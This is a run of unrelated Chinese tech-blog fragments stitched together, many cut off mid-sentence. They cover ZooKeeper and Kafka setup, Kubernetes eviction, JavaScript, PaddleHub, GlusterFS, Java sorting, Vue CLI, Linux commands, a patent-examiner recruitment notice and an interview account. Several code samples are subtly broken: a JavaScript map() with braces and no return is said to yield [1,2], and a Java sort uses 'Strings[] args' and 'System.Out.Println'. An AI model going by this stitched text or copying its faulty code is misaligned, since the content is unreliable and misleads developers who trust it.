目录 一、zookeeper概述1、工作机制2、zookeeper的特点3、Zookeeper选举机制 二、部署Zookeeper1、安装JDK2、安装zookeeper 三、Kafka 概述1、为什么需要消息队列(MQ)?2、使用消息队列的好处3、消息队列的两种模式4、什么是Kafka ?5、Kafka 简介6、Kafka 的特性7、Kafka 系统架构 四、部署kafka1、下载安装包(可以下载官方源和阿里源不过挺慢的还容易出bug)2、安装 Kafka3、Kafka 命令行操作 五、部署 Zookeeper+Kafka 集群1、首先在ELK集群上部署filebeat 六、对接kafka 一、zookeeper概述 zookeepei是一个开源的分布式的,伪分布式框架提供协调服务的Apache项目 1、工作机制 zookeeper:是一个基于观察者模式设计的分布式服务管理框架,她负责存储管理大家的数据,然年接受观察者的注册,一旦这些数据的状态发生变化,zookeeper就将负责通知已经在zookeeper上注册的那些观察者做出相应的反应。也就是说Zookeeper = 文件系统+通知机制 2、zookeeper的特点 (1) Zookeeper:一个领导者(Leader),多个跟随者(Follower〉组成的集群。(2) Zookeepe集群中只要有半数以上节点存活,Zookeeper集群就能正常服务。所以Zookeeper适合安装奇数台服务器(3)全局数据一致:每个server保存一份相同的数据副本,client无论连接到哪个Server,数据都是一致的。(4)更新请求顺序执行,来自同一个client的更新请求按其发送顺序依次执行,即先进先出。(5)数据更新原子性,一次数据更新要么成功,要么失败。(6)实时性,在一定时间范围内,Client能读到最新数据。 3、Zookeeper选举机制 第一次启动选举机制(假设初始服务器为五台)
(1)服务器1启动,发起一次选举。服务器1投自己一票。此时服务器1票数一票,不够半数以上(3票),选举无法完成,服务器1状态保持为LOOKING:(2)服务器2启动,再发起一次选举。服务器1和2分别投自己一票并交换选票信息:此时服务器1发现服务器2的myid比自己目前投票推举的(服务器1)大,更改选票为推举服务器2。此时服务器1票数0票,服务器2票数2票,没有半数以上结果,选举无法完成,服务器1,2状态保持LOOKING(3)服务器3启动,发起一次选举。此时服务器1和2都会更改选票为服务器3。此次投票结果:服务器1为0票,服务器2为0票,服务器3为3票。此时服务器3的票数已经超过半数,服务器3当选Leader。服务器1,2更改状态为FOLOWING,服务器3更改状态为LEADING;(4)服务器4启动,发起一次选举。此时服务器1,2,3已经不是LooKING状态,不会更改选票信息。交换选票信息结果:服务器:为3票,服务器4为1票。此时服务器4服从多数,更改选票信息为服务器3,并更改状态为FOLLOwING(5)服务器5启动,同4一样当小弟。 非第一次启动选举机制
(1)当ZooKeeper集群中的一台服务器出现以下两种情况之一时,就会开始进入Leader选举: 1)服务器初始化启动。2)服务器运行期间无法和Leader保持连接。 (2)而当一台机器进入Leader选举流程时,当前集群也可能会处于以下两种状态: 1)集群中本来就己经存在一个Leader。
对于已经存在Leader的情况,机器试图去选举Leader时,会被告知当前服务器的Leader信息,对于该机器来说,仅仅需要和Leader机器建立连接,并进行状态同步即可。2)集群中确实不存在Leader。
假设ZooKeeper由5台服务器组成,SID分别为1、2、3、4、5,ZXID分别为8、8、8、7、7,并且此时sID为3的服务器是Leader。某一时刻,3和5服务器出现故障,因此开始进行Leader选举。 选举Leader规则:
1.EPOCH大的直接胜出
2.EPOCH相同,事务id大的胜出
3.事务id相同,服务器id大的胜出 SID:服务器ID。用来唯一标识一台ZooKeeper集群中的机器,每台机器不能重复,和myid一致。
ZXID:事务ID。ZXID是一个事务ID,用来标识一次服务器状态的变更。在某一时刻,集群中的每台机器的ExID值不一定完全一致,这和zooKeeper服务器对于客户端"更新请求"的处理逻辑速度有关。
Epoch:每个Leader任期的代号。没有Leader时同一轮投票过程中的逻辑时钟值是相同的。每投完一次票这个数据就会增加 二、部署Zookeeper 环境配置
服务器主机server1192.168.10.100server2192.168.10.18server3192.168.10.19 关闭防火墙
systemctl stop firewalld systemctl disable firewalld setenforce 0 1、安装JDK 所有主机
yum install -y java-1.8.0-openjdk java-1.8.O-openjdk-devel #默认Centos系统已经安装好了 java -version 2、安装zookeeper 所有主机
cd /opt tar -zxvf apache-zookeeper-3.
图像算法工程师三重境界 :
一、传统图像算法工程师:
主要涉及图形处理,包括形态学、图像质量、相机成像之3A算法、去雾处理、颜色空间转换、滤镜等,主要在安防公司或者机器视觉领域,包括缺陷检测;
二、现代图像算法工程师:
涉及模式识别,主要表现的经验为Adaboost、SVM的研究与应用,特征选取与提取,包括智能驾驶的研究与应用、行人检测、人脸识别;
三、人工智能时代图像算法工程师:
深度学习,主要在大型互联网公司或者研究所机构,具体体现在TensorFlow等开源库的研究与应用,包括机器人的研究、基于深度学习的人脸识别;
首先!!!算法工程师包括:
音/视频算法工程师(通常统称为语音/视频/图形开发工程师)
图像处理算法工程师
计算机视觉算法工程师
通信基带算法工程师
信号算法工程师
射频/通信算法工程师
自然语言算法工程师
数据挖掘算法工程师
搜索算法工程师
控制算法工程师(云台算法工程师,飞控算法工程师,机器人控制算法)
导航算法工程师
其他【其他一切需要复杂算法的行业】
图像处理算法工程师 相关术语:
(1) OCR:OCR (Optical Character Recognition,光学字符识别)是指电子设备(例如扫描仪或数码相机)检查纸上打印的字符,通过检测暗、亮的模式确定其形状,然后用字符识别方法将形状翻译成计算机文字的过程
(2) Matlab:商业数学软件;
(3) CUDA: (Compute Unified Device Architecture),是显卡厂商NVIDIA推出的运算平台(由ISA和GPU构成)。 CUDA™是一种由NVIDIA推出的通用并行计算架构,该架构使GPU能够解决复杂的计算问题
(4) OpenCL: OpenCL是一个为异构平台编写程序的框架,此异构平台可由CPU,GPU或其他类型的处理器组成。
(5) OpenCV:开源计算机视觉库;OpenGL:开源图形库;Caffe:是一个清晰,可读性高,快速的深度学习框架。
(6) CNN:(深度学习)卷积神经网络(Convolutional Neural Network)CNN主要用来识别位移、缩放及其他形式扭曲不变性的二维图形。
(7) 开源库:指的是计算机行业中对所有人开发的代码库,所有人均可以使用并改进代码算法。
1必备技能总结 职位要求
编程技能:
1、 具有较强的编程能力和良好的编程习惯, 精通c/c++编程,并熟练使用VS 或matlab开发环境;
2、 在计算机技术领域拥有扎实的技术功底,尤其在数据结构、算法和代码、软件设计方面功力深厚;
对数据结构有一定的研究基础如链表、堆杖、树等,熟悉数据库编程; 3、 出色的算法分析能力,对某一特定算法可以做广泛的综述,有实际算法实现经验;
4、 熟悉面向对象编程思想,精于windows下的C/C++、VC++程序设计,熟悉MATLAB,对MFC有相对的了解和应用经验;
专业技能:
1、扎实的数学功底和分析技能,精通计算机视觉中的数学方法;
高等数学(微积分)、线性代数(矩阵论)、随机过程、概率论、 摄影几何、模型估计、数理统计、张量代数、数据挖掘、数值分析等; 2、具备模式识别、图像处理、机器视觉、信号处理和人工智能等基础知识;
对图像特征、机器学习有深刻认识与理解; 3、精通图像处理基本概念和常用算法包括图像预处理算法和高级处理算法;
有些时候针对于一些需求我们需要把不同对象组成的数组转化成单独的数组,例如
const objArr = [{id:1,value:1},{id:2,value:2}]
把objArr中所有的id值单独拿出来并组成新的数组的方法为
const newArr = objArr.map((item)=>{item.id}) console.info(newArr) //[1,2] map 在数组中是指“映射”,也就是原数组被“映射”成对应新数组 使用map就可以很方便的转化成所需要的新数组了
map() 方法返回一个新数组,数组中的元素为原始数组元素调用函数处理后的值。
map() 方法按照原始数组元素顺序依次处理元素。
注意: map() 不会对空数组进行检测。
注意: map() 不会改变原始数组。
nodefs:保存 kubelet 的卷和守护进程日志等。
imagefs:在容器运行时,用于保存镜像以及可写入层。
有 Imagefs
如果 nodefs 触发了驱逐,Kubelet 会用 nodefs 的使用对 Pod 进行排序 – Pod 中所有容器的本地卷和日志。
如果 imagefs 触发了驱逐,Kubelet 会根据 Pod 中所有容器的消耗的可写入层进行排序。
没有 Imagefs
如果 nodefs 触发了驱逐,Kubelet 会对各个 Pod 的所有容器的总体磁盘消耗进行排序 —— 本地卷 + 日志 + 写入层。
在某些场景下,驱逐 Pod 可能只回收了很少的资源。这就导致了 kubelet 反复触发驱逐阈值。另外回收资源例如磁盘资源,是需要消耗时间的。
要缓和这种状况,Kubelet 能够对每种资源定义 minimum-reclaim。kubelet 一旦发现了资源压力,就会试着回收至少 minimum-reclaim 的资源,使得资源消耗量回到期望范围。
例如下面的配置:
–eviction-hard=memory.available<500Mi,nodefs.available<1Gi,imagefs.available<100Gi
–eviction-minimum-reclaim=“memory.available=0Mi,nodefs.available=500Mi,imagefs.available=2Gi”`
如果 memory.available 被触发,Kubelet 会启动回收,让 memory.available 至少有 500Mi。
如果是 nodefs.available,Kubelet 就要想法子让 nodefs.available 回到至少 1.5Gi。
而对于 imagefs.available, kubelet 就要回收到最少 102Gi。
2021年下半年计算机二级考试有两次,9月25日至27日(第62次)及12月4日至5日(第63次)。下文有途网小编给大家整理了计算机二级考试的时间安排及成绩查询时间,供参考!
计算机二级考试成绩什么时候出来?
原则上规定全国计算机等级考试成绩于考试结束后的三十个工作日计算完成,50个工作日后可以查询计算机二级成绩,届时考生可到相关教育考试院查询计算机二级成绩,也可持续关注本站,小编也会在第一时间为大家公布最新成绩查询信息,敬请期待!
计算机二级考试难度如何?通过率有多少
计算机二级的考试难度整体来说算中等,对于一些计算机专业的学生来说是比较简单的,但是对于一些非本专业的学生来说就是有一定的难度的了。
在计算机二级的通过率上,从近年来看并不是很高,主要原因有两个,一方面是由于报考计算机二级的人数过多,另一个原因是由于计算机二级C考试进行了改革,改革之后的考试有很大的变化,考生可能尚未适应新模式,因此造成了通过率的下降。
计算机二级证书有什么用
很多同学在报考计算机二级考试证书之前会考虑他的作用,有些同学觉得这个证书自己用不到,就没必要考了。那么究竟计算机二级有没有用?有什么用呢?
首先,多一个证书在你毕业求职找工作时会是一个筹码和加分的条件;其次,报考公务员的考生部分职位会对计算机等级有要求;最后,计算机二级考试中的很多基本操作在以后的计算机应用上也是有帮助的,考下这个证书也是对自己的计算机能力的证明。
宏任务与微任务 宏任务(macrotask )和微任务(microtask )总结 宏任务(macrotask )和微任务(microtask ) macrotask 和 microtask 表示异步任务的两种分类。
在挂起任务时,JS 引擎会将所有任务按照类别分到这两个队列中,首先在 macrotask 的队列(这个队列也被叫做 task queue)中取出第一个任务,执行完毕后取出 microtask 队列中的所有任务顺序执行;之后再取 macrotask 任务,周而复始,直至两个队列的任务都取完。
掘金上面盗张图记录一下
宏任务和微任务之间的关系
先看个例子
setTimeout(() => { //执行后 回调一个宏事件 console.log('内层宏事件3') }, 0) console.log('外层宏事件1'); new Promise((resolve) => { console.log('外层宏事件2'); resolve() }).then(() => { console.log('微事件1'); }).then(()=>{ console.log('微事件2') }) 我们看看打印结果
外层宏事件1 外层宏事件2 微事件1 微事件2 内层宏事件3 • 首先浏览器执行js进入第一个宏任务进入主线程, 遇到 setTimeout 分发到宏任务Event Queue中
• 遇到 console.log() 直接执行 输出 外层宏事件1
• 遇到 Promise, new Promise 直接执行 输出 外层宏事件2
目录 前言一、Paddlehub是什么?二、使用步骤 1.引入库2.读取模型3.效果展示总结 前言 简单来说,Paddlehub就是一个用于储存所有一训练好模型的小型仓库。所有已经训练好的模型都会被放到这个“仓库”里面。发开者可以在已有模型的基础上进行迁移学习,也可以直接将训练好的模型拿出来使用,本文侧重于后者。
一、Paddlehub是什么? 便捷地获取PaddlePaddle生态下的预训练模型,完成模型的管理和一键预测。配合使用Fine-tune API,可以基于大规模预训练模型快速完成迁移学习,让预训练模型能更好地服务于用户特定场景的应用。
二、使用步骤 1.引入库 import paddlehub as hub 2.读取模型 name即为所读取模型的名字,例如
"ernie_gen_lover_words" "stylepro_artistic" "deeplabv3p_xception65_humanseg" 具体可参考百度Paddlehub官方文档https://www.paddlepaddle.org.cn/hub
module = hub.Module(name="ernie_gen_lover_words") stylepro_artistic = hub.Module(name="stylepro_artistic") humanseg = hub.Module(name="deeplabv3p_xception65_humanseg") 3.效果显示 输入代码:
import paddlehub as hub import paddle module = hub.Module(name="ernie_gen_lover_words") width = int(input("输入数字,要回你几句")) a = int(input('输出内容,根据什么内容进行回复')) test_tests = [a] results = module.generate(texts=test_tests, use_gpu=False, beam_width=a) for result in results: print(result) 输出结果:
总结 不同的模型有个不同的输入输出格式,本文以"ernie_gen_lover_words"模型为例子,简单地讲述了Paddlehub的使用方法。读者可根据自己的需要到官方去查询不同的模型。
官网地址:https://www.paddlepaddle.org.cn/hub
目录 一、GFS概述1、GlusterFS的概念2、GlusterFS特点3、GlusterFS术语4、GlusterFS的工作流程5、GFS卷类型6、三大基本卷的特点①、分布式卷②、条带卷③、复制卷 二、相关维护命令1、查看GlusterFS卷2、查看所有卷的信息3、查看所有卷的状态4、停止一个卷5、删除一个卷6.设置卷的访问控制 三、GFS部署1、部署节点集群2、部署gluster客户端3、测试 Gluster 文件系统①、查看分布式文件分布②、查看条带卷文件分布③、查看复制卷文件分布④、查看分布式条带卷分布⑤、查看分布式复制卷分布 4、破坏性测试①、分布式卷数据(可查看,但缺少node2的demo5.log)②、条带卷(不可查看,不具备冗余)③、复制卷(可查看 ,有冗余)④、分布式条带卷(不可查看,不具备冗余)⑤、分布式复制卷(可查看 ,有冗余) 四、gluster命令总结 一、GFS概述 1、GlusterFS的概念 GlusterFS:分布式文件系统
开源的分布式文件系统
组成:
存储服务器
客户端
NFS/Samba 存储网关
无元数据服务器
数据分散存储可避免出现单点故障 补充:
FS(文件系统)的作用:从系统角度来看,文件系统是对文件存储设备的空间进行组织和分配,负责文件存储并对存入的文件进行保护和检索的系统。
具体地说,它负责为用户建立文件,存入、读出、修改、转储文件,控制文件的存取
文件系统组成:
1)文件系统接口
2)对对像管理的软件集合
3)对象及属性
2、GlusterFS特点 【1】扩展性和高性能【2】高可用性【3】全局统一命名空间【4】弹性卷管理【5】基于标准协议 3、GlusterFS术语 Brick(块存储):由主机提供的用于物理存储的专用分区,是GlusterFS中的基本存储单元,同时也是可信存储池中服务器上对外提供的存储目录。Volume(逻辑卷):一个逻辑卷是一组 Brick 的集合。卷是数据存储的逻辑设备,类似于 LVM 中的逻辑卷。大部分 Gluster 管理操作是在卷上进行的。FUSE:用户空间的文件系统(类别EXT4),”这是一个伪文件系统“,用户端的交换模块VFS(虚拟端口):内核态的虚拟文件系统,用户是提交请求给VFS 然后VFS交给FUSH,再交给GFS客户端,最后由客户端交给远端的存储
Glusterd(服务):是运行再存储节点的进程(客户端运行的是gluster client)GFS使用过程中整个GFS之间的交换由Gluster client 和glusterd完成 4、GlusterFS的工作流程 1、外来一个请求,例:用户端申请创建一个文件,客户端或应用程序通过GFS的挂载点访问数据2、linux系统内容通过VFSAPI收到请求并处理3、VFS将数据递交给FUSE内核文件系统,fuse文件系统则是将数据通过/dev/fuse设备文件递交给了GlusterFS client端4、GlusterFS client端收到数据后,会根据配置文件的配置对数据进行处理5、再通过网络,将数据发送给远端的ClusterFS server,并将数据写入到服务器储存设备上6、server再将数据转交给VFS伪文件系统,再由VFS进行转存处理,最后交给EXT3 5、GFS卷类型 分布式卷条带卷复制卷分布式条带卷分布式复制卷条带复制卷分布式条带数据卷 6、三大基本卷的特点 ①、分布式卷 文件分布在不同的服务器,不具备冗余性更容易和廉价地扩展卷的大小单点故障会造成数据丢失依赖底层的数据保护 ②、条带卷 数据被分割成更小块分布到块服务器群中的不同条带区分布减少了负载且更小的文件加速了存取的速度没有数据冗余 ③、复制卷 卷中所有的服务器均保存一个完整的副本卷的副本数量可由客户创建的时候决定至少由两个块服务器或更多服务器具备冗余性 二、相关维护命令 1、查看GlusterFS卷 gluster volume list 2、查看所有卷的信息 gluster volume info 3、查看所有卷的状态 gluster volume status 4、停止一个卷 gluster volume stop dis-stripe 5、删除一个卷 注意:删除卷时,需要先停止卷,且信任池中不能有主机处于宕机状态,否则删除不成功 gluster volume delete dis-stripe 6.设置卷的访问控制 仅拒绝
选择排序(重点) /* 选择排序 */ public class Demo01SelectSort{ public static void main(Strings[] args){ int[] arr = {5, 1, 8, 3}; System.Out.Println("排序前的数组元素" + Arrays.toString(arr)); selectSort(arr); System.Out.Println("排序后的数组元素" + Arrays.toString(arr)); } /* 定义一个选择排序的方法 1.方法的参数传递一个数组,方法中对数组中的元素进行排序 2.定义一个循环嵌套: 外层循环:控制比较的次数 数据长度-1 内层循环:控制每次比较几对元素 为防止重复的比较 索引+1 为控制每次比较的对数依次减少,索引+i 3.在循环中依次比较arr[i]和arr[j]的值,每次选出最小的 比较两个元素,使用第三方变量交换位置 */ public static void selectSort(int[] arr){ //2.定义一个循环嵌套 for(int i = 0; i < arr.length - 1; i++){//外层循环:控制比较的次数,数组长度-1 for(int j = 1 + i; j < arr.length; j++){//内层循环:控制每次比较几对元素 //在循环中依次比较arr[i]和arr[j]的值,选出最小的 if(arr[i] > arr[j]){ int temp = arr[i]; arr[i] = arr[j]; arr[j] = temp; } } } } } 冒泡排序 /* 冒泡排序 */ public class Demo01BubbleSort { public static void main(String[] args) { int[] arr = {5,1,8,3}; System.
目录
1、GifCam 免费的GIF动图录制工具
2、Snipaste 截图、贴图工具
1、GifCam 免费的GIF动图录制工具 名字:GifCam
功能:录制屏幕,制作GIF动图
下载:https://gifcam.en.softonic.com/download
百度网盘:(w64位)链接:https://pan.baidu.com/s/13k_wjYPGYaMdf_KtDwZX4w 提取码:ycg9
安装:下载之后解压,点击工具图标之后,就可以使用,界面语言是英语的
使用:点击"Rec"开始录制,点击"Save"可以以gif格式保存,可以选择"New"新建录频制作新的gif
进入官网直接点击“Free Download”下载即可可能需要关闭防火墙可以随意拖动到想要录制的区域进行录制,并且录制的区域可以放大缩小(手动点赞)建议把GifCam固定在电脑的任务栏,方便使用 2、Snipaste 截图、贴图工具 名字:Snipaste
功能:截图,截图笔记,贴图(桌面顶置显示),颜色选取功能(rgb或者十六进制的颜色表示形式)
下载:https://zh.snipaste.com/
百度网盘:(w64位)链接:https://pan.baidu.com/s/1oiXG1K_wqdnzHSvbQR8wow 提取码:fkub
安装:下载完成之后解压,然后在解压文件里面直接双击工具图标,就可以直接运行,可以按住“f1”检测工具是否起作用,如果没有效果就再多点几下图标。
使用:点击"f1"开始选择截图的区域,点击"f3"可以将截图进行桌面顶置,如果需要取消将顶置图标点中然后按"Esc"就可以了,点击"Shift"键可以切换颜色的显示形式(rgb或者十六进制的),按住"Alt+c"可以将颜色粘贴到粘贴板,使用的时候直接复制使用。
建议将该小工具设置在电脑的任务栏上,方便使用可以随意选取要截屏的大小
专利审查协作中心面向全国公开招聘
单位简介
专利审查协作中心是国家知识产权局专利局的直属事业单位,受专利局委托承担部分专利申请的审查工作,具有独立的法人资格和人事、劳资、财务管理权。
自2001年在北京成立首个专利审查协作中心以来,专利审查队伍日渐壮大,目前已遍布北京、苏州、广州、郑州、武汉、天津、成都、福州八个主要城市。
招聘计划:
岗位:专利审查员 人数:2440人
2021年专利审查协作中心将面向机械、电学、通信、医药、化学、光电、材料等各类理工科及工业设计专业招聘2440名专利审查员。具体招聘计划如下:单位名称招聘人数
专利审查协作北京中心340人(含外观40人)
专利审查协作北京中心福建分中心330人
专利审查协作江苏中心280人
专利审查协作广东中心240人
专利审查协作河南中心360人
专利审查协作湖北中心230人
专利审查协作天津中心320人
专利审查协作四川中心340人
合计2440人
岗位职责:
专利审查员的主要职责是根据《专利法》及其实施细则的相关规定对专利申请文件进行审查。
招聘条件(以招聘平台各职位要求为准):
Ø 理工科专业(机械、电学、通信、医药、化学、光电、材料、工业设计等领域)本科以上学历;
Ø 良好的外语水平
Ø 踏实严谨的工作作风
招聘流程
网上报名-在线测评-笔试-面试-复试-体检-公示录用
宣讲安排
专利审查协作中心将于2020年10月至11月走进全国多所高校进行宣讲,欢迎您前往现场与我们互动交流。宣讲会具体行程请密切关注招聘平台http://www.zlsxzhaopin.com/的资讯更新。
报名通道
审协湖北中心面试经验分享
面试前给你20分钟看一篇专利,然后会给你一张纸做记录,进去面试的时候,纸可以带进去,自我介绍,每人10分钟,面试人员都超级好,大家不用害怕。
我是某985高校的小硕,昨天刚体检完湖北审协,我非常喜欢审协的工作,所以从一开始就在关注。但是天意弄人,前边几个审协都没有通过网申,有的是因为报的专业不对口,有的如北京审协就不知道什么原因好多人都没有通过网申。看着一个个同学去参加笔试,接着拿到offer,深刻感觉到自己的希望已破灭。但是湖北审协的成立给我带来了新的希望,我认真进行了网上申请,这次很顺利的进入了笔试环节,心中很是欢喜,但是看到2个考点参加笔试的人员共212个,才要10个,心里又感觉好有竞争力。后来才知道这次的网申好像没有刷人,因为我们宿舍有一个女生报名后没有做测评却意外地收到了笔试通知,而且专业也不对口。不管她了,自己好好准备自己的吧,我们班有四个女生都报了高分子,都进入了笔试。
3.24星期日是湖北审协笔试的日子,仅这个周末我就收到了四个笔试和面试通知,其它的是年前我的审协梦破灭了之后申请的,本身也不太想去,就果断放弃了另外几个笔试和面试机会。来到北京紫金数码园参加我一直期待的审协考试。笔试有4篇专利,每一篇量都挺大,我只翻译了2篇多一点,对自己的翻译速度很不满意,因为在第一篇中纠结了好长时间,写的也比较工整,后来发现时间越来越不够,字迹写的就越来越潦草了。专利翻译收上去之后才给审协湖北中心面试经验》(https://www.unjs.com)。剩下的时间真是难打发,我就问考官能不能让我在翻译一点专利,这个要求被果断地拒绝了。这里有个教训就是高分子词汇查不出来的',一定要从单体下手再查查,我就是在第一篇的第一句话中有个聚合物不认识,查字典查不到,往后一看,通篇都有这个单词,当时竟然想不起来查单体的意思,真是晕死了,纠结了快10min才偶然想起来。否则我就死在第一篇专利上了。
笔试完,武汉那边先面试,等到那边都体检过了,我们北京考点的才出面试名单。在这之前,武汉考点160多个笔试的有29个进了面试,10个进了面谈和体检。当时就觉得完了,那边已经体检完10个了,而且进一面的比例那么小。等到4月2号审协公布北京考点进入面试名单的那天上午,从吃过饭就开始刷湖北审协的主页,不停的刷,终于有个瞬间名单出来了,下载下来快要打开的那个瞬间,心都快跳出来了,大家可能理解不了我当时的心情,因为我是太想去审协了。打开后,看到了自己的名字,很高兴,再往后看,北京考点的进面试的人还挺多的,60多个笔试进了24个,不知道这边比例怎么这么大,然后发现我们班有3个女生都进入面试了。接下来的一周,我好好准备,看了好多面经,准备了好多题目,自我介绍也好好准备了一下,总共用完了一个作业本。
4月8号在北京面试,先20min看一篇专利,然后复述出来,面试的时候我还没有复述完就让我停了,然后问了3个专业问题,一个材料加工的因为没学过我没回答出来,另外2个高物玻璃化转变温度和热塑性和热固性材料回答的还可以。后来面试官就让我评价我们班的另外2个女生的优缺点,这个问题,另外一个女生也被问到了,有一个没来面试,如果来的话也会被问到的。还问了一些为啥来审协、申请过其它审协没以及有男朋友没有,我如实回答,总体感觉还不错。
4.9号下午2:40左右出的面谈名单,本来网站上说的中午,可是稍微晚了一会,当时心里很忐忑,就开始胡思乱想,是不是武汉那边招够了,这边的都不会进去面谈呢。虽然来得迟了一点,但结果还是好的,我顺利的进入了面谈和体检。北京考点也是进了10个。后来发现每个专业都是2:1的比例。
前言 在最近的开发中遇到了一个需求是,批量上传文件后,禁止对上传的文件进行删除与再次上传的功能。(这里有另外的按钮全部清空上传的文件)
解决方法 这里其实只要在el-upload组件中添加一个disabled就行,但是我这里根据是否上传过文件去禁用删除按钮了
代码 html
<el-upload class="upload-demo" action="https://jsonplaceholder.typicode.com/posts/" multiple :limit="3" :show-file-list="true" :class="{ disabled: uploadDisabled }" :on-change="handleUploadChange" :auto-upload="false" :disabled="abandonFileList.length === 0 ? false : true" :file-list="abandonFileList"> <el-button size="small" type="primary">点击上传</el-button> <div slot="tip" class="el-upload__tip">上传后禁止上传与删除</div> </el-upload> js
handleUploadChange (file, fileList) { this.abandonFileList = fileList } 效果 具体的el-upload-list__item不再支持删除,且按钮无法点击再次上传
失败的主要原因是package.json中scripts参数为
"scripts": { "dev": "vue-cli-service serve --open", "build:prod": "vue-cli-service build", "build:stage": "vue-cli-service build", "build:development": "vue-cli-service build --mode development", "preview": "node build/index.js --preview", "lint": "eslint --ext .js,.vue src", "test:unit": "jest --clearCache && vue-cli-service test:unit", "test:ci": "npm run lincdt && npm run test:unit", "svgo": "svgo -f src/icons/svg --config=src/icons/svgo.yml", "new": "plop" }, 正确命令应该是
npm run build:development --report
<img th:src="@{/upload/{id}(id=${goods.getGPicture()})}" width="100px" />
概述 一个系统可能包含多个物理 CPU(中央处理单元),也可以包含一个或多个内核(处理器)。另外,每个核心可以有多个线程,通常2(超-线程 技术从英特尔CPU)。
示例:具有 2 个双核 CPU 的系统。
2 个 CPU x 每个 CPU 2 个内核 =总共 4 个内核
您可以确定的数量内核采用静态方法,提供给Java虚拟机 availableProcessors 从类运行。此方法从 Java 1.4 开始可用。每个 Java 应用程序都有一个Runtime类的单个实例, 它允许应用程序与应用程序运行的环境进行交互。
Java获取核心数 public class CPUCores { public static void main(String[] args) { int processors = Runtime.getRuntime().availableProcessors(); System.out.println("CPU cores: " + processors); } } 输出 CPU cores: 8 结论 就我而言,结果是 8,因为我在具有 4 核和超线程技术的 Intel I7 930 CPU 上进行了测试。
1 个 CPU x 4 个内核 x 2 个线程 = 总共 8 个内核。
双屏显示器,扩展显示,笔记本清晰,扩展显示屏模糊的解决办法
主屏幕分辨率:1920*1080
扩展屏幕分辨率: 1600 *900
使得屏幕显示清楚步骤:
1.将两个显示器的显示设置-缩放布局中的缩放比例调至一致
将模糊的显示屏缩放比例与清晰的保存一致
2. 设置推荐的分辨率
3.扩展屏幕的刷新频率设置为60祯 或 75祯(设置59祯显示很模糊)
调节电脑监视器刷新频率的步骤如下:
vue 4.5.13版本降级至2.9.6
步骤1:执行命令 npm uninstall @vue/cli -g
步骤2:npm config ls -l
查找信息【userconfig = “C:\Users\Adminis\.npmrc”】该路径是Npm配置文件路径,需要将改文件删除
步骤3:where vue
若有信息则将vue vue.cmd两个文件放到其他文件夹 或者删除;
若执行为以下结果,则执行步骤4;
步骤4:npm uninstall @vue/cli -g
即再次执行卸载 命令
步骤5:npm install --global vue-cli@2.9.6
安装想要的版本2.9.6
cli2升级到vue cli4 1.先升级npm的版本
npm install -g npm
2.再卸载之前的vue cli 2.9.6
npm uninstall -g @vue/cli
3.下载最新的vue cli版本
npm install -g @vue/cli
vue项目环境升级至高版本,需要升级项目涉及的依赖,以及项目中老的语法替换为新的语法,可执行命令:
vue add vue-next
Linux常用命令 关机/重启/注销系统信息和性能查看磁盘和分区用户和用户组网络和进程管理常见系统服务命令文件和目录操作文件查看和处理打包和解压RPM包管理命令YUM包管理命令DPKG包管理命令APT软件工具GitHub下载地址 关机/重启/注销 命令作用描述shutdown -h now即刻关机shutdown -h 1010分钟后关机shutdown -h 11:0011:00关机shutdown -h +10预定时间关机(10分钟后)shutdown -c取消指定时间关机shutdown -r now重启shutdown -r 1010分钟之后重启shutdown -r 11:00定时重启reboot重启init 6重启init 0⽴刻关机telinit 0关机poweroff⽴刻关机halt关机syncbuff数据同步到磁盘logout退出登录Shell 系统信息和性能查看 常用命令作用描述uname -a查看内核/OS/CPU信息uname -r查看内核版本uname -m查看处理器架构arch查看处理器架构hostname查看计算机名who显示当前登录系统的⽤户who am i显示登录时的⽤户名whoami显示当前⽤户名cat /proc/version查看linux版本信息cat /proc/cpuinfo查看CPU信息cat /proc/interrupts查看中断cat /proc/loadavg查看系统负载uptime查看系统运⾏时间、⽤户数、负载env查看系统的环境变量lsusb -tv查看系统USB设备信息lspci -tv查看系统PCI设备信息lsmod查看已加载的系统模块 磁盘和分区 常用命令作用描述fdisk -l查看所有磁盘分区swapon -s查看所有交换分区df -h查看磁盘使⽤情况及挂载点df -hl同上du -sh /dir查看指定某个⽬录的⼤⼩du -sk * | sort -rn从⾼到低依次显示⽂件和⽬录⼤⼩mount /dev/hda2 /mnt/hda2挂载hda2盘mount -t ntfs /dev/sdc1 /mnt/usbhd1指定⽂件系统类型挂载(如ntfs)mount -o loop xxx.iso /mnt/cdrom挂载iso⽂件mount /dev/sda1 /mnt/usbdisk挂载usb盘/闪存设备umount -v /dev/sda1通过设备名卸载umount -v /mnt/mymnt通过挂载点卸载fuser -km /mnt/hda1强制卸载(慎⽤) 用户和用户组 常用命令作用描述useradd codesheep创建⽤户userdel -r codesheep删除⽤户usermod -g group_name user_name修改⽤户的组usermod -aG group_name user_name将⽤户添加到组usermod -s /bin/ksh -d /home/codepig –g dev codesheep修改⽤户codesheep的登录Shell、主⽬录以及⽤户组groups test查看test⽤户所在的组groupadd group_name创建⽤户组groupdel group_name删除⽤户组groupmod -n new_name old_name重命名⽤户组su - user_name完整切换到⼀个⽤户环境passwd修改⼝令passwd codesheep修改某⽤户的⼝令w查看活动⽤户id codesheep查看指定⽤户codesheep信息last查看⽤户登录⽇志crontab -l查看当前⽤户的计划任务cut -d: -f1 /etc/passwd查看系统所有⽤户cut -d: -f1 /etc/group查看系统所有组 网络和进程管理 常用命令作用描述ifconfig查看⽹络接⼝属性ifconfig eth0查看某⽹卡的配置route -n查看路由表netstat -lntp查看所有监听端⼝netstat -antp查看已经建⽴的TCP连接netstat -lutp查看TCP/UDP的状态信息ifup eth0启⽤eth0⽹络设备ifdown eth0禁⽤eth0⽹络设备iptables -L查看iptables规则ifconfig eth0 192.
动问题一般都是发生在一瞬间,可能下一秒就已经不存在了。那么对于这类问题要如何定位呢?首先还是要能收集到发生问题的瞬间,相关的系统信息。
atop 对于一个问题, 先从宏观的角度来寻找问题的方向,我们可以通过安装一个atop,配置为1s粒度记录系统信息,这样当抖动发生时,可以回溯系统监控信息,从宏观角度看一下可能存在问题的是哪一个模块,比如可能是io,mem还是network等等。
yum -y install atop 安装完成后,配置采样频率为1秒:
cat /etc/sysconfig/atop LOGOPTS="" LOGINTERVAL=1 LOGGENERATIONS=28 LOGPATH=/var/log/atop 启动atop服务:
service atop start 运行起来以后,atop会把系统监控信息记录到/var/log/atop目录中,当发生了抖动时,通过其中保存的log文件进行回溯:
